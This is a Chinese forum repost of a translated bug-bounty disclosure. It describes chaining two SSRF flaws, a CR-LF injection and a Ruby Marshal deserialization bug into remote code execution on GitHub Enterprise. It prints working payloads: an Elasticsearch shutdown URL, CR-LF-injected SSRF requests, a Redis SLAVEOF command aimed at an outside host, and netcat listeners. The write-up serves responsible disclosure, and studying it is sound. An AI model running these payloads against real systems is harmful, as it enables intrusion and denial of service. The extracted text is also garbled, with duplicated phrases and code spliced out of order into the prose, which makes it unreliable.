搜索

[11633] 2017-08-06_挖洞经验看我如何综合利用4个漏洞实现GitHubEnterprise远程代码执行

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-18
2017-08-06_挖洞经验看我如何综合利用4个漏洞实现GitHubEnterprise远程代码执行 挖 洞 经 验   |   看 我 如 何 综 合 利 用 4 个 漏 洞 实 现 G i t H u b   E n t e r p r i s e   远 程 代 码 执 行 c l o u d s   F r e e B u f   2 0 1 7 - 0 8 - 0 6 大 家 好 ， 距 离 上 次 漏 洞 披 露 已 有 半 年 之 余 ， 在 这 篇 文 章 中 ， 我 将 向 大 家 展 示 如 何 通 过 大 家 好 ， 距 离 上 次 漏 洞 披 露 已 有 半 年 之 余 ， 在 这 篇 文 章 中 ， 我 将 向 大 家 展 示 如 何 通 过 4 个 漏 洞 完 美 实 现 个 漏 洞 完 美 实 现 G i t H u b E n t e r p r i s e 的 的 R C E 执 行 ， 该 执 行 ， 该 R C E 实 现 方 法 与 服 务 器 端 请 求 伪 造 技 术 （ 实 现 方 法 与 服 务 器 端 请 求 伪 造 技 术 （ S S R F ） 相 关 ， 技 术 稍 显 过 时 但 综 合 利 用 ） 相 关 ， 技 术 稍 显 过 时 但 综 合 利 用 威 力 强 大 。 最 终 ， 该 威 力 强 大 。 最 终 ， 该 R C E 漏 洞 被 漏 洞 被 G i t H u b 官 方 认 定 为 官 方 认 定 为 3 周 年 众 测 项 目 的 最 佳 漏 洞 ， 我 也 因 此 获 得 了 周 年 众 测 项 目 的 最 佳 漏 洞 ， 我 也 因 此 获 得 了 $ 1 2 5 0 0 美 元 赏 美 元 赏 金 。 金 。 在 我 今 年 受 邀 参 加 的 B l a c k H a t 大 会 演 讲 P P T 中 ， 有 更 多 关 于 S S R F 技 术 的 深 度 剖 析 ， 请 大 家 捧 场 观 看 《 A   N e w   E r a   o f S S R F   -   E x p l o i t i n g   U R L   P a r s e r   i n   T r e n d i n g   P r o g r a m m i n g   L a n g u a g e s 》 < 点 击 文 末 的 阅 读 原 文 查 看 > ！ 这 也 是 我 第 一 次 在 这 般 高 大 上 场 合 的 英 文 演 讲 ， 非 常 难 忘 ！ 下 面 我 们 言 归 正 传 ， 一 起 来 说 说 这 个 G i t H u b   E n t e r p r i s e 企 业 版 R C E 漏 洞 的 实 现 方 法 ： 说 明 说 明 在 我 上 一 次 对 G i t H u b   E n t e r p r i s e   S Q L 注 入 漏 洞 的 发 现 中 ， 曾 提 及 利 用 R u b y 代 码 破 解 G i t H u b 混 淆 保 护 机 制 和 发 现 S Q L 注 入 漏 洞 的 方 法 ， 之 后 ， 就 有 一 些 优 秀 的 漏 洞 挖 掘 者 及 时 关 注 G i t H u b   E n t e r p r i s e 并 发 现 了 多 个 上 等 漏 洞 ， 如 ： T h e   r o a d   t o   y o u r   c o d e b a s e   i s   p a v e d   w i t h   f o r g e d   a s s e r t i o n s   b y   i l e k t r o j o h n G i t H u b   E n t e r p r i s e   R e m o t e   C o d e   E x e c u t i o n   b y   i b l u e 我 表 示 后 悔 沮 丧 ， 为 什 么 我 就 发 现 不 了 呢 ！ ？ 所 以 ， 接 下 来 我 打 算 努 力 去 挖 掘 那 些 别 人 想 像 不 到 的 高 危 漏 洞 。 挖 洞 开 始 挖 洞 开 始 第 第 1 个 漏 洞 个 漏 洞   -   表 面 无 用 的 表 面 无 用 的 S S R F 漏 洞 漏 洞 在 研 究 G i t H u b   E n t e r p r i s e 程 序 时 ， 我 发 现 了 一 个 名 为 W e b H o o k 的 有 趣 功 能 ， 它 能 在 某 些 特 定 G I T 命 令 执 行 时 自 定 义 H T T P 回 调 。 如 你 可 定 义 如 下 回 调 U R L ： h t t p s : / / / / / s e t t i n g s / h o o k s / n e w 并 通 过 提 交 文 件 触 发 执 行 它 ， 对 此 ， G i t H u b   E n t e r p r i s e 会 利 用 一 个 H T T P 请 求 提 示 你 。 实 际 的 P a y l o a d 和 执 行 请 求 如
下 ： P a y l o a d   U R L : h t t p : / / o r a n g e . t w / f o o . p h p 回 调 请 求 （ C a l l b a c k   R e q u e s t ） ： 另 外 ， 由 于 G i t H u b   E n t e r p r i s e 使 用 R u b y   G e m 的 f a r a d a y 库 库 来 获 取 外 部 资 源 ， 并 通 过 G e m 的 f a r a d a y - r e s t r i c t - i p - a d d r e s s e s 功 能 来 防 止 用 户 请 求 内 部 服 务 。 这 个 G e m 功 能 就 像 一 个 黑 名 单 机 制 ， 但 我 们 可 以 通 过 R F C   3 9 8 6 定 义 的 稀 有 I P 地 址 格 式 （ R a r e   I P   A d d r e s s   F o r m a t s ） 来 绕 过 它 ， 想 想 ， 在 L i n u x 系 统 中 ， 0 代 表 的 是 l o c a l h o s t ， 所 以 有 以 下 P o C ： h t t p : / / 0 / O K ， 现 在 我 们 的 一 个 S S R F 漏 洞 成 型 了 ， 但 却 发 挥 不 了 作 用 ， 为 什 么 呢 ？ 这 是 因 为 该 S S R F 漏 洞 存 在 以 下 几 方 面 限 制 ： 只 支 持 P O S T 方 法 只 允 许 H T T P 和 H T T P S 方 式 不 产 生 3 0 2 重 定 向 f a r a d a y 中 不 存 在 C R - L F 命 令 注 入 无 法 对 P O S T 数 据 和 H T T P 头 信 息 进 行 控 制 我 们 唯 一 能 控 制 的 就 是 其 中 的 P a t h （ 路 径 ） 部 分 。 但 值 得 一 提 的 是 ， 该 S S R F 漏 洞 可 导 致 拒 绝 服 务 攻 击 （ D o S ） 。 由 于 G i t H u b   E n t e r p r i s e 的 9 2 0 0 端 口 为 绑 定 了 一 个 E l a s t i c S e a r c h 搜 索 服 务 ， 当 使 用 关 机 命 令 时 ， 该 E l a s t i c S e a r c h 服 务 不 会 对 P O S T 数 据 进 行 检 查 ， 因 此 ， 我 们 可 随 意 对 它 的 R E S T - f u l   A P I 接 口 进 行 操 作 ， 可 有 如 下 D o S 的 P o C ： h t t p : / / 0 : 9 2 0 0 / _ s h u t d o w n / 第 第 2 个 漏 洞 个 漏 洞   -   内 部 内 部 G r a p h i t e 服 务 的 服 务 的 S S R F 第 1 个 S S R F 漏 洞 利 用 存 在 诸 多 限 制 ， 所 以 我 继 续 测 试 其 内 部 服 务 看 是 否 能 为 我 所 用 。 这 还 真 是 个 大 工 程 ， 因 为 其 中 包 含 了 数 种 H T T P 服 务 ， 每 种 服 务 都 由 C 、 C + + 、 G o 、 P y t h o n 和 R u b y 分 别 实 现 。 在 经 过 数 天 的 研 究 之 后 ， 我 发 现 其 中 一 个 8 0 0 0 端 口 名 为 G r a p h i t e 的 服 务 ， 该 服 务 负 责 高 度 扩 展 地 向 用 户 实 时 显 示 系 统 当 前 状 态 ， 其 为 P y t h o n 编 写 的 开 源 项 目 （ 可 点 此 下 载 源 码 ） 。 在 对 G r a p h i t e 源 码 的 分 析 后 ， 我 又 快 速 发 现 了 另 外 一 个 S S R F 漏 洞 ， 它 存 在 于 以 下 文 件 w e b a p p s / g r a p h i t e / c o m p o s e r / v i e w s . p y P O S T   / f o o . p h p   H T T P / 1 . 1 H o s t :   o r a n g e . t w A c c e p t :   * / * U s e r - A g e n t :   G i t H u b - H o o k s h o t / 5 4 6 5 1 a c X - G i t H u b - E v e n t :   p i n g X - G i t H u b - D e l i v e r y :   f 4 c 4 1 9 8 0 - e 1 7 e - 1 1 e 6 - 8 a 1 0 - c 8 1 5 8 6 3 1 7 2 8 f c o n t e n t - t y p e :   a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d C o n t e n t - L e n g t h :   8 9 7 2 p a y l o a d = . . .
从 上 述 代 码 可 以 看 到 ， G r a p h i t e 服 务 会 接 收 用 户 输 入 的 u r l 地 址 然 后 对 该 地 址 进 行 获 取 利 用 ！ 所 以 ， 这 样 的 话 ， 我 们 就 可 以 利 用 第 1 个 S S R F 漏 洞 来 触 发 这 第 2 个 S S R F 漏 洞 ， 最 后 还 可 将 这 两 个 漏 洞 组 合 成 一 个 S S R F 执 行 链 。 合 成 的 S S R F 执 行 链 P a y l o a d 如 下 ： 第 二 个 S S R F 漏 洞 的 请 求 ： O K ， 现 在 我 们 已 经 成 功 地 将 基 于 P O S T 的 S S R F 漏 洞 改 造 成 了 基 于 G E T 的 S S R F 漏 洞 了 。 但 仍 然 不 能 直 接 实 现 有 效 的 漏 洞 利 用 ， 再 挖 挖 看 ! 第 第 3 个 漏 洞 个 漏 洞   -   P y t h o n 语 言 的 语 言 的 C R - L F 命 令 注 入 命 令 注 入 可 以 从 G r a p h i t e 源 码 中 看 到 ， G r a p h i t e 使 用 P y t h o n 的 h t t p l i b . H T T P C o n n e c t i o n 方 法 来 获 取 外 部 资 源 。 在 经 过 一 些 研 究 测 试 后 ， 我 发 现 h t t p l i b . H T T P C o n n e c t i o n 方 法 中 竟 存 在 一 个 C R - L F 命 令 注 入 漏 洞 ！ 这 样 的 话 ， 我 们 就 可 以 在 H T T P 协 议 中 嵌 入 恶 意 P a y l o a d 了 。 C R - L F 注 入 P o C ： 该 注 入 漏 洞 在 整 个 漏 洞 利 用 链 中 发 挥 的 作 用 非 常 关 键 。 现 在 ， 我 就 可 以 在 这 个 S S R F 漏 洞 执 行 链 中 引 入 其 他 协 议 了 ， 比 如 ， 如 果 想 拿 R e d i s 下 手 ， 可 以 尝 试 使 用 下 列 P a y l o a d ： 说 明 ： 由 于 R e d i s 的 S L A V E O F 命 令 可 以 允 许 执 行 带 外 数 据 ， 所 以 ， 这 对 某 些 B l i n d - S S R F 实 现 非 常 有 效 。 现 在 漏 洞 利 用 思 路 已 经 柳 暗 花 明 ， 但 一 些 可 引 入 协 议 还 存 在 问 题 ， 如 ： S S H 、 M y S Q L 和 S S L 协 议 会 失 效 由 于 P y t h o n 2 版 本 原 因 ， 第 2 个 S S R F 漏 洞 所 使 用 的 P a y l o a d 只 允 许 0 x 0 0 到 0 x 8 F 的 字 节 数 据 通 过 顺 便 提 下 ， 还 有 很 多 利 用 H T T P 引 入 协 议 的 利 用 方 法 ， 如 基 于 L i n u x   G l i b c 功 能 的 S S L   S N I 引 入 协 议 ， 以 及 C V E - 2 0 1 6 - d e f   s e n d _ e m a i l ( r e q u e s t ) :         t r y :                 r e c i p i e n t s   =   r e q u e s t . G E T [ ' t o ' ] . s p l i t ( ' , ' )                 u r l   =   r e q u e s t . G E T [ ' u r l ' ]                 p r o t o ,   s e r v e r ,   p a t h ,   q u e r y ,   f r a g   =   u r l s p l i t ( u r l )                 i f   q u e r y :   p a t h   + =   ' ? '   +   q u e r y                 c o n n   =   H T T P C o n n e c t i o n ( s e r v e r )                 c o n n . r e q u e s t ( ' G E T ' , p a t h )                 r e s p   =   c o n n . g e t r e s p o n s e ( )                 . . . h t t p : / / 0 : 8 0 0 0 / c o m p o s e r / s e n d _ e m a i l ? t o = o r a n g e @ n o g g & u r l = h t t p : / / o r a n g e . t w : 1 2 3 4 5 / f o o $   n c   - v v l p   1 2 3 4 5 . . . G E T   / f o o   H T T P / 1 . 1 H o s t :   o r a n g e . t w : 1 2 3 4 5 A c c e p t - E n c o d i n g :   i d e n t i t y h t t p : / / 0 : 8 0 0 0 / c o m p o s e r / s e n d _ e m a i l ? t o = o r a n g e @ n o g g & u r l = h t t p : / / 1 2 7 . 0 . 0 . 1 : 1 2 3 4 5 / % 0 D % 0 A i _ a m _ p a y l o a d % 0 D % 0 A F o o : $   n c   - v v l p   1 2 3 4 5 . . . G E T   / i _ a m _ p a y l o a d F o o :   H T T P / 1 . 1 H o s t :   1 2 7 . 0 . 0 . 1 : 1 2 3 4 5 A c c e p t - E n c o d i n g :   i d e n t i t y h t t p : / / 0 : 8 0 0 0 / c o m p o s e r / s e n d _ e m a i l ? t o = o r a n g e @ n o g g & u r l = h t t p : / / 1 2 7 . 0 . 0 . 1 : 6 3 7 9 / % 0 A S L A V E O F % 2 0 o r a n g e . t w % 2 0 6 3 7 9 % 0 A
5 6 9 9 的 P y t h o n 标 注 头 注 入 等 ， 具 体 参 看 我 的 B l a c k H a t 演 讲 P P T 。 第 第 4 个 漏 洞 个 漏 洞   -   封 装 模 块 存 在 反 序 列 化 漏 洞 封 装 模 块 存 在 反 序 列 化 漏 洞 现 在 的 问 题 是 ， 我 该 选 择 哪 个 协 议 进 行 引 入 呢 ？ 另 外 ， 我 还 花 费 了 大 把 时 间 来 测 试 控 制 R e d i s 或 M e m c a c h e d 之 后 可 以 触 发 的 漏 洞 。 在 对 大 量 源 码 的 分 析 过 程 中 ， 我 对 G i t H u b 在 M e m c a c h e d 中 存 储 R u b y 对 象 的 机 制 觉 得 好 奇 ， 一 番 研 究 后 发 现 ， G i t H u b E n t e r p r i s e 使 用 R u b y   G e m 的 M e m c a c h e d 方 式 来 处 理 缓 存 ， 而 其 通 过 M a r s h a l 模 块 进 行 封 装 。 这 下 好 了 ， 大 家 知 道 M a r s h a l 模 块 本 来 就 不 安 全 且 存 在 反 序 列 化 漏 洞 （ 点 此 参 考 ） 。 更 上 一 层 楼 了 ！ 我 们 可 以 使 用 前 述 的 S S R F 漏 洞 执 行 链 来 把 恶 意 R u b y 对 象 存 储 在 M e m c a c h e d 中 ， 当 G i t H u b 要 获 取 缓 存 时 ， R u b y   G e m   m e m c a c h e d 就 会 自 动 执 行 反 序 列 化 操 作 ， 这 种 效 果 就 会 是 ： 哇 ， 远 程 代 码 执 行 ！ G i t H u b   E n t e r p r i s e   R a i l s 控 制 端 中 存 在 反 序 列 化 漏 洞 的 M a r s h a l ： 回 过 头 来 ， 我 们 总 结 梳 理 一 下 整 个 漏 洞 利 用 过 程 ： 第 1 个 S S R F 漏 洞 ， 用 来 绕 过 W e b H o o k 的 保 护 机 制 第 2 个 S S R F 漏 洞 ， 存 在 于 G r a p h i t e 服 务 中 结 合 第 1 个 和 第 2 个 S S R F 漏 洞 ， 组 成 S S R F 漏 洞 执 行 链 发 现 S S R F 执 行 链 中 的 C R - L F 命 令 注 入 漏 洞 利 用 M e m c a c h e d 方 式 的 M a r s h a l 反 序 列 化 漏 洞 ， 注 入 恶 意 M a r s h a l 对 象 触 发 远 程 代 码 执 行 最 终 P o C 如 下 ：
视 频 演 示 ： h t t p : / / v . y o u k u . c o m / v _ s h o w / i d _ X M j k z N z M 3 N j A 1 N g = = . h t m l E x p l o i t 代 码 代 码 修 复 措 施 修 复 措 施 G i t H u b 采 取 了 以 下 修 复 措 施 ： 增 强 了 G e m 的 f a r a d a y - r e s t r i c t - i p - a d d r e s s e s 功 能
采 用 了 自 定 义 D j a n g o 中 间 件 来 防 止 攻 击 者 从 外 部 访 问 h t t p : / / 1 2 7 . 0 . 0 . 1 : 8 0 0 0 / r e n d e r / 加 强 i p t a b l e s 规 则 ， 限 制 U s e r - A g e n t :   G i t H u b - H o o k s h o t 访 问 模 式 漏 洞 报 送 进 程 漏 洞 报 送 进 程 2 0 1 7 年 0 1 月 2 3 日 2 3 : 2 2         通 过 H a c k e r O n e 平 台 将 漏 洞 上 报 G i t H u b 2 0 1 7 年 0 1 月 2 3 日 2 3 : 3 7         G i t H u b 进 行 漏 洞 分 类 2 0 1 7 年 0 1 月 2 4 日 0 4 : 4 3         G i t H u b 确 认 漏 洞 ， 并 回 应 正 在 修 复 2 0 1 7 年 0 1 月 3 1 日 1 4 : 0 1         更 新 版 本 的 G i t H u b   E n t e r p r i s e   2 . 8 . 7 发 布 2 0 1 7 年 0 2 月 0 1 日 0 1 : 0 2         G i t H u b 回 复 称 漏 洞 成 功 修 复 2 0 1 7 年 0 2 月 0 1 日 0 1 : 0 2         收 到 G i t H u b 奖 励 的 $ 7 5 0 0 刀 漏 洞 赏 金 2 0 1 7 年 0 3 月 1 5 日 0 2 : 3 8         G i t H u b 认 定 该 漏 洞 为 年 度 最 佳 漏 洞 ， 并 再 次 向 我 奖 励 了 $ 5 0 0 0 刀 * 参 考 来 源 ： o r a n g e . t w ， f r e e b u f 小 编 c l o u d s 编 译 ， 转 载 请 注 明 来 自 F r e e B u f . C O M
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理